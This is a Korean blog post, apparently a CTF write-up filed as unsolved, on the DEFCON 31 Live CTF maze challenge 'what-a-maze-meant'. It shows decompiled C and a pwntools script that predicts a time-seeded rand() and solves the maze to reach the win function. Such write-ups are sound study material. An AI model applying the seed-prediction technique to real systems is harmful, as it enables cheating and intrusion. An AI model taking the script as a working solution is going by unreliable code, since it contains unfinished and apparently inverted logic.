DEFCON 31 - Live CTF - what-a-maze-meant

2023. 5. 29. 15:48·CTF/Unsolved
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  char v6; // [rsp+Bh] [rbp-3A5h] BYREF
  int i; // [rsp+Ch] [rbp-3A4h]
  int j; // [rsp+10h] [rbp-3A0h]
  unsigned int v9; // [rsp+14h] [rbp-39Ch]
  unsigned int v10; // [rsp+18h] [rbp-398h]
  int v11; // [rsp+1Ch] [rbp-394h]
  char v12[904]; // [rsp+20h] [rbp-390h] BYREF
  unsigned __int64 v13; // [rsp+3A8h] [rbp-8h]
  __int64 savedregs; // [rsp+3B0h] [rbp+0h] BYREF

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = time(0LL);
  srand(v3);
  for ( i = 0; i <= 29; ++i )
  {
    for ( j = 0; j <= 29; ++j )
      *((_BYTE *)&savedregs + 30 * i + j - 912) = 35;
  }
  puts("Reticulating splines... ");
  generate_maze(v12, 1LL, 1LL, 1LL);
  puts("\n\nWelcome to the maze!");
  v9 = 1;
  v10 = 1;
  v11 = 1;
  while ( 1 )
  {
    if ( show_maze )
      display_maze(v12, v9, v10);
    printf("You are in room (%d, %d)\n", v9, v10);
    if ( v11 )
      randomDescription();
    else
      v11 = 1;
    puts("Which would you like to do?");
    if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)(v9 - 1) + (int)v10 - 912)) )
      printf("go (n)orth, ");
    if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)(v9 + 1) + (int)v10 - 912)) )
      printf("go (s)outh, ");
    if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)v9 + (int)(v10 - 1) - 912)) )
      printf("go (w)est, ");
    if ( (unsigned __int8)validwalk((unsigned int)*((char *)&savedregs + 30 * (int)v9 + (int)(v10 + 1) - 912)) )
      printf("go (e)ast, ");
    printf("or (q) end the torment");
    printf(": ");
    __isoc99_scanf(" %c", &v6);
    putchar(10);
    v4 = v6 - 97;
    if ( v4 <= 0x16 )
      __asm { jmp     rax }
    if ( *((_BYTE *)&savedregs + 30 * (int)v9 + (int)v10 - 912) == 42 )
    {
      if ( rand() % 1213 == 1212 )
      {
        puts("You successfully exit the maze!");
        winner();
      }
      puts("Just as you are about to exit, a displacer beast captures you. You die.");
      exit(0);
    }
  }
}

2.2. 분석

sran(time(0)를 seed로 미로를 만들고, 이를 탈출하면 winner 함수를 실행해주는 간단한 미로 탈출 게임이다.

다만, 탈출 시 rand() % 1213이 1212를 만족해야지만 winner 함수가 실행되며,

그렇지 않으면 괴물에게 잡혀 죽었다는 메시지와 함께 종료된다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

rand seed가 동일하면 같은 결과값을 가진다.

3.2. 공격 준비

어쨌든 미로를 탈출하면 된다.

다만, 마지막에 탈출 시 rand 값이 1212가 되어야하니 이를 고려해서 벽으로의 이동, 제자리 이동 등과 같이

rand 값이 일치할 때 탈출하도록 페이로드가 작성되어야 한다.

미로를 탈출하는 코드를 어떻게 작성해야하나 고민했는데,

역시 없는게 없는 인터넷 + 팀원 분께서 미로 탈출 코드만 작성 (또는 검색?!) 해주셔서

이를 토대로 마무리 했다.

 

4. exploit

from pwn import *
from ctypes import CDLL
import sys

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./challenge')
libc.srand(libc.time(0))

p.recvuntil(b'... \n')

while 1:
    ch = p.recv(b'2')
    if b'\r' in ch:
        libc.rand()
    elif b'\n' in ch:
        break

v0 = libc.rand()

p.sendlineafter(b': ',b'a')
p.recvuntil(b'maze.\n')

maze=[]

while 1:
    check = p.recvuntil(b' \n')[:-2]
    if b'#' in check:
        maze.append(str(check))
    else:
        break

def solve_maze(maze):
    start_row, start_col = find_start(maze)
    visited = set()
    path = []

def dfs(maze, row, col, visited, path):
    if not is_valid(maze, row, col) or maze[row][col] == '#':
        return False

    if maze[row][col] == '*':
        path.append((row, col))
        return True

    visited.add((row, col))

    directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]
    for dr, dc in directions:
        next_row, next_col = row + dr, col + dc

        if (next_row, next_col) not in visited:
            if dfs(maze, next_row, next_col, visited, path):
                path.append((row, col))
                return True

    return False

def is_valid(maze, row, col):
    num_rows, num_cols = len(maze), len(maze[0])
    return 0 <= row < num_rows and 0 <= col < num_cols

def find_start(maze):
    for row in range(len(maze)):
        for col in range(len(maze[row])):
            if maze[row][col] == '@':
                return row, col

    return -1, -1

def print_path(maze, path):
    for row in range(len(maze)):
        for col in range(len(maze[row])):
            if (row, col) in path:
                print('x', end='')
            else:
                print(maze[row][col], end='')
        print()


solve = []

def print_directions(path):
    for i in range(len(path) - 1, 0, -1):
        curr_row, curr_col = path[i]
        prev_row, prev_col = path[i - 1]

        if curr_row > prev_row:
            solve.append("n")
        elif curr_row < prev_row:
            solve.append("s")
        elif curr_col > prev_col:
            solve.append("w")
        elif curr_col < prev_col:
            solve.append("e")

start_row, start_col = find_start(maze)
visited = set()
path = []

if dfs(maze, start_row, start_col, visited, path):
    print("미로를 성공적으로 풀었습니다.")
    print_directions(path)
else:
    print("미로를 풀 수 없습니다.")

count=0

first = len(solve)

while v0%1213 != 1212:
    solve.insert(0,'n')
    v0 = libc.rand()
    count += 1

for i in range(len(solve)-1):
    v0 = libc.rand()

for i in range(first,len(solve)):
    p.sendlineafter(b'torment: ',str(solve[i]).encode('utf-8'))

p.interactive()
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'CTF > Unsolved' 카테고리의 다른 글

Hackappatoi CTF 2022 - [PWN] beerop (unsolved)  (0) 2022.12.15
'CTF/Unsolved' 카테고리의 다른 글
  • Hackappatoi CTF 2022 - [PWN] beerop (unsolved)
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    RTL
    cryptohack
    pwnable.kr
    vtable
    phoenix
    CANARY
    Me
    pwntools
    ROOT ME
    docker
    dreamhack
    FSB
    _IO_FILE
    32bit
    root
    lob
    Buffer Overflow
    exploit education
    tcache
    root-me
    hackerschool
    Format String Bug
    rop
    heap
    libc
    x64
    la ctf
    BOF
    64bit
    x86
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
DEFCON 31 - Live CTF - what-a-maze-meant
상단으로

티스토리툴바